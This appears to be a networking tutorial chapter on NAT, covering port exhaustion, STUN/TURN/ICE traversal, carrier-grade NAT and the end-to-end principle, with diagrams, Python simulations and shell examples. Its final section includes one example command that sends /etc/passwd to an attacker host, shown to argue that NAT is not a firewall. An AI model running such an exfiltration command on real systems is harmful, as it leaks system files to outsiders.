$ sudo conntrack -L -p tcp | head -3
# tcp 6 431999 ESTABLISHED src=192.168.1.20 dst=93.184.216.34 sport=51234 dport=443
#     src=93.184.216.34 dst=203.0.113.5 sport=443 dport=40001 [ASSURED] mark=0
#                                                 ^^^^^^^^^^ the rewritten port
$ sudo conntrack -C           # how many entries are currently held
# 8412

# Watching for port exhaustion — the "internet feels flaky" failure:
$ cat /proc/sys/net/netfilter/nf_conntrack_max
# 262144
$ cat /proc/sys/net/netfilter/nf_conntrack_count
# 261902
#      ^ at the ceiling: NEW connections fail while existing ones keep working
$ dmesg | grep -i conntrack
# nf_conntrack: table full, dropping packet
#               ^^^^^^^^^^^^^^^^^^^^^^^^^^^ the smoking gun

# Port forwarding for an inbound service:
$ sudo iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 8080 \
      -j DNAT --to-destination 192.168.1.50:80

# UPnP: applications punching their own holes, without asking anyone.
$ upnpc -l | grep -A2 "Found valid IGD"
# 0 TCP 25565->192.168.1.77:25565 'game server' ''
#      ^ a program on the LAN opened this itself. Convenient; also a real risk.

Key takeaways

• PAT (NAT overload / NAPT) shares one public address among thousands of hosts by rewriting the source port as well as the address.
• Identification relies on the 5-tuple; the rewritten port carries the demultiplexing information the shared address cannot.
• The translation table is per-connection state in the network core — losing it (reboot, unsynchronised failover) breaks every connection at once.
• Capacity is roughly 60,000 usable ports per public address, supporting perhaps 300–600 modern users at 100–200 connections each.
• Port exhaustion fails distinctively: existing connections survive while new ones fail intermittently — "flaky", not "down".
• Port forwarding is the manual inbound exception; UPnP IGD and NAT-PMP let applications create mappings themselves, which is convenient and a genuine security concern.
• NAT drops unsolicited inbound traffic as a side effect of having no table entry, which is why it is often mistaken for a firewall.

🧪 Practice

1. Two internal hosts both send from source port 51234 to the same server. Show the resulting translation table entries and explain how return traffic is disambiguated.
2. Compute how many users fit behind one public IP at 150 concurrent connections each, and describe what users experience when that limit is reached.
3. Explain why a NAT device failing over to a standby without state synchronisation drops every connection, and what IP property this violates.
4. Interview-style: Is NAT a firewall? (Hint: it does block unsolicited inbound traffic — but ask whether that is an enforced policy or an accident of how the lookup fails, and what happens to outbound traffic.)

NAT Traversal: STUN, TURN, ICE

Theory

NAT works smoothly for the client-server model: an internal client initiates, the NAT creates a mapping, replies come back. But peer-to-peer applications — video calls, gaming, file sharing — need two hosts to connect directly, and if both sit behind NAT, neither can initiate. Each sees only a private address; neither has anything to which the other can send.

Solving this requires two pieces of knowledge: what your public address and port actually are, and some way to create a mapping in your own NAT before the peer's packet arrives.

STUN (Session Traversal Utilities for NAT, RFC 8489) provides the first. A client sends a request to a public STUN server, which replies with the source address and port it observed. Since that source has been rewritten by the NAT on the way out, the reply tells the client its own public mapping — information it has no other way to obtain.

STUN is lightweight, needs almost no server resources, and works for a large majority of NATs. It fails for symmetric NAT, where the NAT allocates a different external port for each destination. The mapping learned by talking to the STUN server is then useless for talking to the peer, because the peer is a different destination and will get a different port.

TURN (Traversal Using Relays around NAT, RFC 8656) is the fallback: give up on a direct path and relay everything through a public server. Both peers connect outbound to the TURN server — which always works, since outbound is what NAT permits — and the server forwards between them.

TURN always works, and it is expensive: all media traverses the relay, consuming its bandwidth and adding latency. For a video service this is a real cost, which is why providers work hard to keep the TURN fallback rate low (typically 10–20% of calls).

ICE (Interactive Connectivity Establishment, RFC 8445) is the framework that combines them and decides which to use. Rather than guessing at NAT behaviour, ICE gathers every possible path and tests them all:

1. Gather candidates — the host's own local addresses (host candidates), the public mappings learned via STUN (server-reflexive candidates), and relay addresses allocated on a TURN server (relay candidates).
2. Exchange the candidate lists through the signalling channel (SIP, WebRTC's SDP offer/answer).
3. Check connectivity — send STUN binding requests across every candidate pair, in both directions, simultaneously. The dual direction matters: each side's outgoing packet creates the NAT mapping the other side's packet needs. This is hole punching.
4. Select the highest-priority pair that worked, preferring host over reflexive over relay.

The priority order reflects cost: direct local connection best, direct across the internet next, relay only as a last resort.

NAT behaviour varies, and the classification determines whether hole punching can work:

NAT type	External port depends on	Hole punching
Full cone	Internal source only	Easy
Restricted cone	Internal source only; peer IP must match	Works
Port-restricted cone	Internal source only; peer IP+port must match	Works
Symmetric	Internal source and destination	Fails — TURN required

This is a genuine architectural cost, and it is worth naming plainly: an entire class of protocol infrastructure exists solely to work around NAT. WebRTC, SIP, and every modern video calling system carry ICE, STUN, and TURN implementations. None of it would be needed if every host had a globally reachable address — which is exactly what IPv6 restores.

Examples

The problem: nobody can initiate

   [Peer A]                                        [Peer B]
   192.168.1.20                                    10.0.0.50
       |                                               |
    [NAT A]  203.0.113.5                 198.51.100.9 [NAT B]
       |                                               |
       +--------------- internet ----------------------+

   A wants to send to B. B's address is 10.0.0.50 — private, unreachable.
   B wants to send to A. A's address is 192.168.1.20 — private, unreachable.
   Neither NAT has a mapping, because neither side has sent anything.
   DEADLOCK.


STUN: learn your own public mapping

   [Peer A] ---- "what is my address?" ----> [ STUN server ]
   192.168.1.20                                    |
            (NAT rewrites the source to            |
             203.0.113.5:40001 in transit)         |
   [Peer A] <--- "you look like 203.0.113.5:40001" -+
            ^ information A could not obtain any other way


ICE hole punching: both sides punch simultaneously

   t=0  A sends to 198.51.100.9:40002  ->  NAT A creates a mapping
                                            (packet may be dropped at NAT B)
   t=0  B sends to 203.0.113.5:40001   ->  NAT B creates a mapping
                                            (packet may be dropped at NAT A)
   t=1  A sends again -> NAT B NOW HAS A MAPPING for A -> delivered
   t=1  B sends again -> NAT A NOW HAS A MAPPING for B -> delivered

   Each side's outgoing packet opened the door for the other's.
   Direct peer-to-peer path established. No relay needed.


TURN: when hole punching cannot work (symmetric NAT)

   [Peer A] --outbound--> [ TURN relay ] <--outbound-- [Peer B]
                             ^ all media flows through here:
                               always works, costs bandwidth, adds latency

class NAT:
    """Different NAT types allocate external ports by different rules."""
    def __init__(self, nat_type, public_ip):
        self.type = nat_type
        self.public = public_ip
        self.map = {}
        self.next_port = 40000

    def external_for(self, priv_ip, priv_port, dst_ip, dst_port):
        if self.type == "symmetric":
            # A DIFFERENT port per destination -> what STUN learns is useless.
            key = (priv_ip, priv_port, dst_ip, dst_port)
        else:
            # One port per internal source, whatever the destination.
            key = (priv_ip, priv_port)
        if key not in self.map:
            self.map[key] = self.next_port
            self.next_port += 1
        return f"{self.public}:{self.map[key]}"

for nat_type in ("full cone", "symmetric"):
    nat = NAT(nat_type, "203.0.113.5")
    to_stun = nat.external_for("192.168.1.20", 51234, "stun.example.com", 3478)
    to_peer = nat.external_for("192.168.1.20", 51234, "198.51.100.9", 40002)
    usable = "YES — STUN's answer is valid for the peer too" if to_stun == to_peer \
             else "NO  — the peer sees a different port; STUN's answer is useless"
    print(f"{nat_type:<12} to STUN: {to_stun:<20} to peer: {to_peer:<20}")
    print(f"{'':<12} hole punching viable? {usable}\n")
# full cone    to STUN: 203.0.113.5:40000  to peer: 203.0.113.5:40000
#              hole punching viable? YES — STUN's answer is valid for the peer too
#
# symmetric    to STUN: 203.0.113.5:40000  to peer: 203.0.113.5:40001
#              hole punching viable? NO  — the peer sees a different port; STUN's answer is useless

# ICE candidate gathering and pair selection.
PRIORITY = {"host": 126, "srflx": 100, "relay": 0}   # RFC 8445 type preferences

def gather(local_ip, stun_result, turn_result):
    return [
        {"type": "host",  "addr": local_ip,    "note": "same-LAN peers only"},
        {"type": "srflx", "addr": stun_result, "note": "public mapping via STUN"},
        {"type": "relay", "addr": turn_result, "note": "always works, costs bandwidth"},
    ]

a = gather("192.168.1.20:51234", "203.0.113.5:40001", "turn.example.com:50001")
b = gather("10.0.0.50:51234",    "198.51.100.9:40002", "turn.example.com:50002")

# Connectivity checks run over EVERY pair, in both directions, at once.
def check_pairs(a_cands, b_cands, symmetric_nat=False):
    results = []
    for ca in a_cands:
        for cb in b_cands:
            if ca["type"] == "host" and cb["type"] == "host":
                ok = False                       # different private networks
            elif "relay" in (ca["type"], cb["type"]):
                ok = True                        # a relay always works
            elif symmetric_nat:
                ok = False                       # hole punching defeated
            else:
                ok = True                        # hole punching succeeds
            if ok:
                prio = min(PRIORITY[ca["type"]], PRIORITY[cb["type"]])
                results.append((prio, ca["type"], cb["type"], ca["addr"], cb["addr"]))
    return sorted(results, reverse=True)

for symmetric in (False, True):
    label = "symmetric NAT" if symmetric else "cone NAT"
    winners = check_pairs(a, b, symmetric_nat=symmetric)
    prio, ta, tb, aa, ba = winners[0]
    print(f"{label:<16} -> selected pair: {ta}/{tb}  {aa} <-> {ba}")
    print(f"{'':<16}    {'RELAYED (bandwidth cost)' if 'relay' in (ta,tb) else 'DIRECT peer-to-peer'}")
# cone NAT         -> selected pair: srflx/srflx  203.0.113.5:40001 <-> 198.51.100.9:40002
#                     DIRECT peer-to-peer
# symmetric NAT    -> selected pair: relay/relay  turn.example.com:50001 <-> turn.example.com:50002
#                     RELAYED (bandwidth cost)

# What relaying costs a video service.
def turn_cost(calls, relay_pct, mbps_per_call, hours):
    relayed = calls * relay_pct / 100
    gb = relayed * mbps_per_call * 2 * hours * 3600 / 8 / 1000   # 2 = both directions
    return relayed, gb

for pct in (10, 20, 40):
    relayed, gb = turn_cost(calls=100_000, relay_pct=pct, mbps_per_call=2, hours=1)
    print(f"{pct}% relayed: {relayed:>7,.0f} calls -> {gb:>10,.0f} GB through TURN")
# 10% relayed:  10,000 calls ->     18,000 GB through TURN
# 20% relayed:  20,000 calls ->     36,000 GB through TURN
# 40% relayed:  40,000 calls ->     72,000 GB through TURN
#   Every percentage point of relay rate is a direct infrastructure bill.

# Discover your own public mapping and infer the NAT type.
$ stunclient stun.l.google.com 19302
# Binding test: success
# Local address: 192.168.1.20:54321
# Mapped address: 203.0.113.5:54321
#                 ^^^^^^^^^^^^^^^^^ what the world sees
# Behavior test: success
# Nat behavior: Endpoint Independent Mapping
#               ^^^^^^^^^^^^^^^^^^^^^^^^^^^ cone NAT: hole punching will work
#               ("Address and Port Dependent Mapping" = symmetric = TURN needed)

# Watch ICE candidates in a browser: chrome://webrtc-internals
# candidate:1 1 udp 2130706431 192.168.1.20 54321 typ host
# candidate:2 1 udp 1694498815 203.0.113.5  54321 typ srflx raddr 192.168.1.20
#                                                     ^^^^^ server-reflexive, via STUN
# candidate:3 1 udp 16777215   198.51.100.7 50001 typ relay raddr 203.0.113.5
#                                                     ^^^^^ TURN relay, last resort
# selected candidate pair: srflx <-> srflx     <- direct path won; no relay needed

# Running your own TURN server (coturn):
$ turnserver -a -u user:password -r example.com --no-tls --listening-port 3478

# The IPv6 observation that ends the discussion:
$ ping6 -c1 2001:db8:1:1::50        # a peer's GLOBAL address
# 64 bytes from 2001:db8:1:1::50: icmp_seq=1 ttl=62 time=8.1 ms
#   Both hosts are globally addressable. No STUN, no TURN, no ICE, no hole
#   punching. The entire traversal apparatus exists only because of NAT.

Key takeaways

• NAT breaks peer-to-peer connectivity: when both peers are behind NAT, neither can initiate, because neither has a reachable address.
• STUN tells a client its public mapping by reporting the source address the server observed — information unobtainable locally.
• TURN relays all traffic through a public server; it always works, and it costs bandwidth and latency.
• ICE gathers host, server-reflexive (STUN), and relay (TURN) candidates, tests every pair in both directions, and picks the best that works.
• Simultaneous bidirectional checks are hole punching: each side's outbound packet creates the NAT mapping the other's needs.
• Symmetric NAT allocates a different external port per destination, which defeats hole punching and forces TURN.
• Providers push hard to keep the relay rate low (typically 10–20%), because every relayed call is a direct bandwidth cost.
• This entire apparatus exists solely to work around NAT; globally addressable IPv6 hosts need none of it.

🧪 Practice

1. Explain what STUN tells a client that the client cannot determine on its own, and why NAT rewriting is what makes the answer meaningful.
2. Describe the three ICE candidate types in priority order and state when each is selected.
3. Explain why symmetric NAT defeats hole punching, referring to how it allocates external ports.
4. Interview-style: A video call connects but the provider's metrics show it was relayed through TURN. What does that imply about the participants' networks, and what does it cost the provider? (Hint: relay is the last resort in ICE's ordering — something must have made every direct pair fail.)

Carrier-Grade NAT

Theory

Home NAT translates a household's private addresses to one public address. But when ISPs ran out of public addresses entirely, they could no longer give each subscriber even one. The response is CGNAT (Carrier-Grade NAT), also called LSN (Large Scale NAT) or NAT444: a second layer of NAT inside the provider's own network.

A subscriber's home router receives not a public address but one from 100.64.0.0/10 — the shared address space defined by RFC 6598 specifically for this purpose. A separate block was needed because reusing RFC 1918 space would collide with the customer's own internal addressing, producing ambiguity the provider could not resolve.

The result is three layers of addressing and two translations:

192.168.1.x  --[home NAT]-->  100.64.x.x  --[CGNAT]-->  203.0.113.x
  private                     shared/ISP                  public

Hence NAT444 — three address realms, two translation steps.

CGNAT works, and it makes several existing NAT problems substantially worse:

Port exhaustion is far more acute. Hundreds or thousands of subscribers share one public address, so each is allocated a port block — often only 512 to 2,048 ports. A single device with many connections can exhaust its own allocation while the address as a whole is far from full.

Inbound connections become impossible. With home NAT a user can configure port forwarding on their own router. With CGNAT they cannot: the outer NAT is the provider's, and the user has no access to it. Self-hosting, remote desktop access to a home machine, and running a game server all stop working.

NAT traversal degrades. Two layers of NAT make hole punching harder and raise the fraction of connections forced onto TURN relays.

Attribution and law enforcement become difficult. Thousands of subscribers share a source IP. Identifying which one performed an action requires the provider's port-allocation logs and the exact timestamp and the source port — which is why RFC 6302 requires logging source ports alongside addresses. Services that block or rate-limit by IP address punish everyone behind the same CGNAT address; this is the familiar experience of being told "unusual traffic from your network" when you have done nothing.

Geolocation degrades, because the public address reflects the provider's aggregation point, not the subscriber's location.

Everything breaks at once when it fails. CGNAT holds per-connection state for thousands of subscribers. A failure disconnects all of them simultaneously.

CGNAT is best understood as the cost of not deploying IPv6, and the comparison is direct: a mobile operator running IPv6-only with NAT64 translates once at the edge for legacy destinations and gives every device a real, globally routable address. A provider running CGNAT translates twice, logs enormous volumes of port-allocation data, and denies its customers inbound connectivity permanently. The second option is more expensive and worse. That asymmetry is why mobile networks led IPv6 adoption.

Examples

NAT444: three realms, two translations

   HOME                    ISP                      INTERNET
   192.168.1.50            100.64.12.7              203.0.113.9
       |                       |                        |
       +--[home NAT]-----------+--[CGNAT]---------------+
          user controls this      user CANNOT touch this
          (port forwarding OK)    (no port forwarding, ever)

   RFC 1918 private   RFC 6598 shared        globally routable
                      100.64.0.0/10
                      ^ a SEPARATE block, because reusing 192.168/16 here
                        would collide with the customer's own network.


Port block allocation — why exhaustion bites harder

   public 203.0.113.9, 64,512 usable ports, blocks of 1,024:

     subscriber A -> ports 10240-11263   (1,024 ports)
     subscriber B -> ports 11264-12287
     subscriber C -> ports 12288-13311
     ...
     63 subscribers share ONE public address.

   Subscriber A opens 1,024 connections -> A's block is FULL.
   A's new connections fail, while the address as a whole is 98% free.
   Symptom: "some sites won't load" — intermittent and confusing.


What the user loses

   Home NAT only:                 CGNAT:
     port forwarding   YES          port forwarding   NO (no access to the outer NAT)
     self-hosting      YES          self-hosting      NO
     inbound VPN       YES          inbound VPN       NO
     hole punching     usually      hole punching     often fails -> TURN
     blamed for others NO           blamed for others YES (shared reputation)

import ipaddress

class CGNAT:
    def __init__(self, public_ip, ports_per_sub=1024, low=10240, high=65535):
        self.public = public_ip
        self.block = ports_per_sub
        self.next = low
        self.high = high
        self.subs = {}          # subscriber -> (start, end, used)

    def allocate(self, subscriber):
        if subscriber in self.subs:
            return self.subs[subscriber][:2]
        if self.next + self.block > self.high:
            return None                          # no blocks left on this address
        start, end = self.next, self.next + self.block - 1
        self.subs[subscriber] = (start, end, 0)
        self.next += self.block
        return start, end

    def new_connection(self, subscriber):
        if subscriber not in self.subs:
            if self.allocate(subscriber) is None:
                return "DROP — no port block available on this public IP"
        start, end, used = self.subs[subscriber]
        if used >= self.block:
            return (f"DROP — subscriber's {self.block}-port block EXHAUSTED "
                    f"(the public IP is still mostly free — confusing symptom)")
        self.subs[subscriber] = (start, end, used + 1)
        return f"{self.public}:{start + used}"

cg = CGNAT("203.0.113.9", ports_per_sub=1024)
print("subscribers per public IP:", (65535 - 10240) // 1024)
# subscribers per public IP: 53

for sub in ["100.64.12.7", "100.64.12.8"]:
    s, e = cg.allocate(sub)
    print(f"{sub} -> ports {s}-{e}")
# 100.64.12.7 -> ports 10240-11263
# 100.64.12.8 -> ports 11264-12287

heavy = "100.64.12.7"
for n in (1, 500, 1024, 1025):
    while cg.subs[heavy][2] < n - 1:
        cg.new_connection(heavy)
    print(f"connection #{n:>5}: {cg.new_connection(heavy)}")
# connection #    1: 203.0.113.9:10240
# connection #  500: 203.0.113.9:10739
# connection # 1024: 203.0.113.9:11263
# connection # 1025: DROP — subscriber's 1024-port block EXHAUSTED (the public IP is
#                    still mostly free — confusing symptom)

# Attribution: why "the IP address did it" stops being a usable statement.
def identify(public_ip, source_port, timestamp, log):
    for entry in log:
        if (entry["public"] == public_ip
                and entry["start"] <= source_port <= entry["end"]
                and entry["from"] <= timestamp <= entry["to"]):
            return entry["subscriber"]
    return "UNIDENTIFIABLE — port and exact timestamp are both required"

log = [{"public": "203.0.113.9", "start": 10240, "end": 11263,
        "from": 1000, "to": 2000, "subscriber": "customer-4471"}]

print()
print(identify("203.0.113.9", 10500, 1500, log))
print(identify("203.0.113.9", 10500, 3000, log))   # right port, wrong time window
print(identify("203.0.113.9", None or 0, 1500, log))  # address alone is not enough
# customer-4471
# UNIDENTIFIABLE — port and exact timestamp are both required
# UNIDENTIFIABLE — port and exact timestamp are both required
#   RFC 6302 exists precisely because an IP address alone no longer identifies anyone.

# CGNAT vs IPv6 + NAT64, compared directly.
approaches = {
    "CGNAT (NAT444)": {"translations": 2, "inbound": "impossible",
                       "logging": "port-block logs, huge volume",
                       "addresses per device": 0},
    "IPv6 + NAT64":   {"translations": 1, "inbound": "native for IPv6 peers",
                       "logging": "only for IPv4 destinations",
                       "addresses per device": "a real global address"},
}
print()
for name, props in approaches.items():
    print(f"{name}:")
    for k, v in props.items():
        print(f"    {k:<22} {v}")
# CGNAT (NAT444):
#     translations           2
#     inbound                impossible
#     logging                port-block logs, huge volume
#     addresses per device   0
# IPv6 + NAT64:
#     translations           1
#     inbound                native for IPv6 peers
#     logging                only for IPv4 destinations
#     addresses per device   a real global address

# Detecting CGNAT: your router's WAN address is in 100.64.0.0/10.
$ curl -s https://ifconfig.me                 # what the world sees
# 203.0.113.9
$ ip addr show dev wan | grep inet            # what your router actually has
#     inet 100.64.12.7/10 scope global wan
#          ^^^^^^^^^^^ RFC 6598 shared space: you are behind CGNAT.
#          These two differ -> a NAT you do not control sits between them.

$ python3 -c "
import ipaddress
wan = ipaddress.ip_address('100.64.12.7')
print('CGNAT' if wan in ipaddress.ip_network('100.64.0.0/10') else 'public')"
# CGNAT

# Confirm with traceroute: a private/shared hop before the public internet.
$ traceroute -n 8.8.8.8 | head -3
#  1  192.168.1.1     1.1 ms      <- home router
#  2  100.64.0.1      8.4 ms      <- the ISP's CGNAT gateway
#  3  203.0.113.1    11.2 ms      <- first genuinely public hop

# What stops working:
$ nc -lvp 8080 &                    # listen for inbound
$ curl http://203.0.113.9:8080      # from outside: refused/timeout.
#   There is no port forward to configure. The outer NAT is not yours.

# The workarounds people actually use:
#   - an outbound tunnel to a VPS (WireGuard, ssh -R, Tailscale/ngrok)
#   - pay the ISP for a static public IPv4 address
#   - use IPv6, where the problem does not exist:
$ curl -6 "http://[2001:db8:1:1::50]:8080/"    # direct inbound, no NAT anywhere

Key takeaways

• CGNAT (NAT444, LSN) adds a second NAT inside the ISP, because providers ran out of public addresses to give subscribers.
• Subscribers receive 100.64.0.0/10 (RFC 6598 shared address space) — a distinct block, since reusing RFC 1918 would collide with customers' own networks.
• Three realms, two translations: private → shared → public.
• Each subscriber gets a port block (often 512–2,048 ports), so one busy device exhausts its own allocation while the public address remains mostly free — an intermittent, confusing failure.
• Inbound connections become impossible: the user cannot configure port forwarding on a NAT they do not control, ending self-hosting and inbound VPN.
• NAT traversal degrades, pushing more peer-to-peer sessions onto TURN relays.
• Attribution requires source port and exact timestamp (RFC 6302); IP-based blocking punishes every subscriber sharing the address.
• CGNAT is the cost of not deploying IPv6 — IPv6 with NAT64 translates once, logs less, and gives every device a genuinely reachable address.

🧪 Practice

1. State the RFC 6598 block, explain why RFC 1918 space could not be reused for it, and give the three addresses a packet carries as it traverses NAT444.
2. With 1,024-port blocks on a single public address, compute how many subscribers share it and describe the symptom when one exhausts their block.
3. Explain why a user behind CGNAT cannot host a game server, and list two workarounds that do function.
4. Interview-style: Why do investigators need more than a source IP address and a timestamp to identify a subscriber behind CGNAT? (Hint: thousands share the address simultaneously — what additional field distinguishes them, and what must the provider have logged?)

NAT Implications for End-to-End Connectivity

Theory

NAT rescued IPv4 and, in doing so, quietly changed what the internet is. This closing topic is about that trade, because understanding it explains a large share of why modern protocols look the way they do.

The end-to-end principle held that the network moves packets and the endpoints implement everything else. Two consequences followed: any host could address any other host directly, and new protocols could be deployed by upgrading only the two endpoints. NAT breaks both.

Global addressability ends. A host behind NAT has no address the world can reach. It can initiate, but it cannot be found. The internet becomes asymmetric — a population of clients and a much smaller population of reachable servers — and the peer-to-peer model that the architecture assumed becomes the exception requiring special machinery.

State enters the network core. The translation table is per-connection state in the middle of the path. IP was explicitly designed to avoid this, because stateless forwarding is what makes routers scalable and failures survivable. With NAT, a device in the middle must remember every conversation, and losing that memory kills every conversation at once.

Protocols that embed addresses break. Anything carrying an IP address in its payload is inconsistent the moment the header is rewritten:

Protocol	What breaks	Workaround
FTP (active mode)	PORT command carries a private address	ALG, or passive mode
SIP / H.323	SDP bodies carry media addresses	ALG, STUN/TURN/ICE
IPsec AH	Authenticates the IP header, which NAT modifies	Impossible; use ESP
IPsec ESP	No ports for PAT to rewrite	NAT-T: encapsulate in UDP 4500
SNMP, NFS, RPC	Addresses in payloads	ALGs, or avoid across NAT

The ALG (Application Layer Gateway) response — having the NAT device inspect and rewrite application payloads — is a layering violation that also fails on encrypted traffic, and ALGs are a notorious source of subtle bugs. Many operators disable them.

Innovation requires middlebox cooperation. This is the deepest cost. A new transport protocol cannot be deployed by upgrading endpoints alone, because NAT devices only understand TCP and UDP and drop everything else. SCTP and DCCP are technically sound protocols that were effectively undeployable on the public internet for this reason. It is also precisely why QUIC runs over UDP rather than directly over IP: not because UDP adds value, but because UDP is what middleboxes will pass. The architecture that was supposed to allow innovation without permission now requires permission from every middlebox vendor on every path.

A common misconception deserves direct correction: NAT is not a security feature. It does drop unsolicited inbound traffic — but as a side effect of failing to find a table entry, not as an enforced policy. It inspects nothing, applies no rules, filters no outbound traffic, and stops no malware, phishing, or data exfiltration. A stateful firewall provides the inbound protection deliberately and adds everything NAT lacks. Treating NAT as security produces networks where the perimeter is accidental and the interior is completely unprotected.

The honest assessment is a genuine trade: NAT bought roughly two decades of IPv4 life and made the modern internet's scale possible. It cost global addressability, stateless forwarding, protocol transparency, and permissionless innovation. IPv6 restores all four — every device globally addressable, no translation state, protocols carrying addresses that remain valid end to end. Which is why the transition matters beyond merely counting addresses.

Examples

What NAT changed

  ORIGINAL MODEL                        WITH NAT
  every host addressable                clients hidden, servers reachable
  any peer -> any peer                  only client -> server initiation
  stateless core                        per-connection state in the middle
  addresses valid end to end            addresses rewritten in transit
  new protocols: upgrade endpoints      new protocols: must pass middleboxes


A protocol that NAT breaks: active FTP

   client 192.168.1.20 behind NAT (public 203.0.113.5)

   client --> server:  "PORT 192,168,1,20,20,10"
                        ^^^^^^^^^^^^^^^ a PRIVATE address inside the PAYLOAD.
                        The IP header was rewritten; this text was not.
   server --> tries to connect to 192.168.1.20  -> UNROUTABLE. Hangs.

   Fixes:  ALG rewrites the payload text (fails on TLS)
           passive mode: the CLIENT initiates both connections instead


Why QUIC runs over UDP rather than directly over IP

   [QUIC over IP, protocol 253]  --> NAT: "not TCP, not UDP, no ports"
                                     --> DROPPED. Undeployable.

   [QUIC over UDP, port 443]     --> NAT: "UDP, has ports, I can translate"
                                     --> PASSES. Deployable everywhere.

   UDP adds 8 bytes and zero features. It is there purely as a
   middlebox-compatibility wrapper. This is the end-to-end principle
   losing to deployed reality.

# Which protocols survive NAT, and why.
PROTOCOLS = {
    "HTTP/HTTPS":      ("works",  "client-initiated TCP; no addresses in the payload"),
    "DNS (UDP)":       ("works",  "short client-initiated exchanges"),
    "SSH":             ("works",  "client-initiated TCP"),
    "FTP active":      ("BREAKS", "PORT command carries a private address in the payload"),
    "FTP passive":     ("works",  "the client initiates both connections"),
    "SIP/VoIP":        ("BREAKS", "SDP carries media addresses -> needs ICE/STUN/TURN"),
    "IPsec AH":        ("BREAKS", "authenticates the IP header that NAT rewrites"),
    "IPsec ESP":       ("BREAKS", "no ports for PAT -> needs NAT-T (UDP 4500)"),
    "SCTP":            ("BREAKS", "middleboxes do not understand it -> undeployable"),
    "QUIC":            ("works",  "deliberately wrapped in UDP so NAT can translate it"),
    "P2P (BitTorrent)":("partial","needs port forwarding, UPnP, or hole punching"),
}
for name, (status, why) in PROTOCOLS.items():
    print(f"{name:<18} {status:<7} {why}")
# HTTP/HTTPS         works   client-initiated TCP; no addresses in the payload
# DNS (UDP)          works   short client-initiated exchanges
# SSH                works   client-initiated TCP
# FTP active         BREAKS  PORT command carries a private address in the payload
# FTP passive        works   the client initiates both connections
# SIP/VoIP           BREAKS  SDP carries media addresses -> needs ICE/STUN/TURN
# IPsec AH           BREAKS  authenticates the IP header that NAT rewrites
# IPsec ESP          BREAKS  no ports for PAT -> needs NAT-T (UDP 4500)
# SCTP               BREAKS  middleboxes do not understand it -> undeployable
# QUIC               works   deliberately wrapped in UDP so NAT can translate it
# P2P (BitTorrent)   partial needs port forwarding, UPnP, or hole punching

# NAT is not a firewall: compare what each actually does.
CAPABILITY = {
    "blocks unsolicited inbound":        ("side effect", "enforced policy"),
    "inspects packet contents":          ("no",          "yes"),
    "filters OUTBOUND traffic":          ("no",          "yes"),
    "applies configurable rules":        ("no",          "yes"),
    "logs policy decisions":             ("no",          "yes"),
    "stops malware / exfiltration":      ("no",          "partially"),
    "protects host-to-host inside":      ("no",          "yes, if segmented"),
}
print(f"\n{'capability':<36}{'NAT':<14}{'stateful firewall'}")
for cap, (nat, fw) in CAPABILITY.items():
    print(f"{cap:<36}{nat:<14}{fw}")
# capability                          NAT           stateful firewall
# blocks unsolicited inbound          side effect   enforced policy
# inspects packet contents            no            yes
# filters OUTBOUND traffic            no            yes
# applies configurable rules          no            yes
# logs policy decisions               no            yes
# stops malware / exfiltration        no            partially
# protects host-to-host inside        no            yes, if segmented

# The trade, stated plainly.
def assess():
    gained = ["~20 extra years of IPv4 viability",
              "billions of devices connected with a finite address space",
              "incidental topology hiding"]
    lost   = ["global addressability (peers cannot be reached)",
              "stateless forwarding (per-connection state in the core)",
              "protocol transparency (payload addresses become wrong)",
              "permissionless innovation (new transports must please middleboxes)"]
    restored_by_ipv6 = lost                  # all four, without exception
    return gained, lost, restored_by_ipv6

gained, lost, restored = assess()
print("\nNAT gained us:")
for g in gained: print(f"  + {g}")
print("NAT cost us:")
for l in lost:   print(f"  - {l}")
print(f"\nIPv6 restores: all {len(restored)} of them.")

# Evidence of the cost, on any modern machine.

# 1. QUIC wrapped in UDP purely so middleboxes will pass it:
$ sudo tcpdump -i eth0 -n 'udp port 443' -c 1
# IP 192.168.1.20.51234 > 142.250.185.132.443: UDP, length 1350
#                                          ^^^ QUIC. Not TCP. Not raw IP.
#                                          UDP is a compatibility wrapper.

# 2. IPsec needing NAT-T to survive at all:
$ sudo tcpdump -i eth0 -n 'udp port 4500' -c 1
# IP 192.168.1.20.4500 > 203.0.113.77.4500: UDP-encap: ESP(spi=0x8f2a1b3c)
#                                           ^^^^^^^^^ ESP wrapped in UDP so
#                                           PAT has ports to rewrite

# 3. ALGs rewriting payloads — a layering violation you can switch off:
$ sudo conntrack -L | grep ftp
# tcp 6 ESTABLISHED src=192.168.1.20 dst=203.0.113.9 sport=51234 dport=21 [ASSURED]
$ lsmod | grep nf_nat_ftp
# nf_nat_ftp   16384  0        <- the kernel is rewriting FTP payload text
# (many operators unload this: it fails on FTPS anyway and causes odd bugs)

# 4. NAT is not a firewall — outbound is completely unrestricted:
$ curl -s https://attacker.example.com/exfil -d @/etc/passwd
#   NAT translated this happily. It inspected nothing and blocked nothing.
#   A firewall with an egress policy is what would have stopped it.

# 5. What IPv6 restores — a globally reachable host with no translation:
$ ip -6 addr show scope global | grep inet6
#     inet6 2001:db8:1:1::50/64 scope global
$ ssh 2001:db8:1:1::50          # direct inbound, from anywhere, no NAT at all
#   No port forward. No STUN. No TURN. No UPnP. The original model.

Key takeaways

• NAT broke the end-to-end principle in four ways: global addressability, stateless forwarding, protocol transparency, and permissionless innovation.
• Global addressability ends — a NATed host can initiate but cannot be reached, making the internet client-server by default.
• Per-connection state enters the core, which IP was explicitly designed to avoid; losing it breaks every connection at once.
• Protocols embedding addresses break: active FTP, SIP, IPsec AH (impossible), IPsec ESP (needs NAT-T on UDP 4500).
• ALGs rewrite payloads to compensate — a layering violation that fails on encrypted traffic and is often disabled.
• New transports must satisfy middleboxes: SCTP and DCCP were effectively undeployable, and QUIC runs over UDP purely for middlebox compatibility.
• NAT is not a firewall — it blocks unsolicited inbound as a side effect of a failed lookup, inspects nothing, and filters no outbound traffic.
• The trade was real: roughly two decades of extra IPv4 life in exchange for four architectural properties that IPv6 restores.

🧪 Practice

1. Explain precisely why active FTP fails through NAT while passive FTP works, naming the field that becomes inconsistent.
2. Give two reasons IPsec struggles with NAT, distinguishing AH from ESP, and name the mechanism that rescues ESP.
3. Argue, with three specific capabilities, why NAT should not be described as a firewall.
4. Interview-style: QUIC could have been defined as its own IP protocol number, which would have been cleaner. Why does it run over UDP instead? (Hint: ask what a NAT device does with a protocol number it has never seen, and how many such devices sit between any two hosts on the internet.)

---

<a id="6-routing"></a>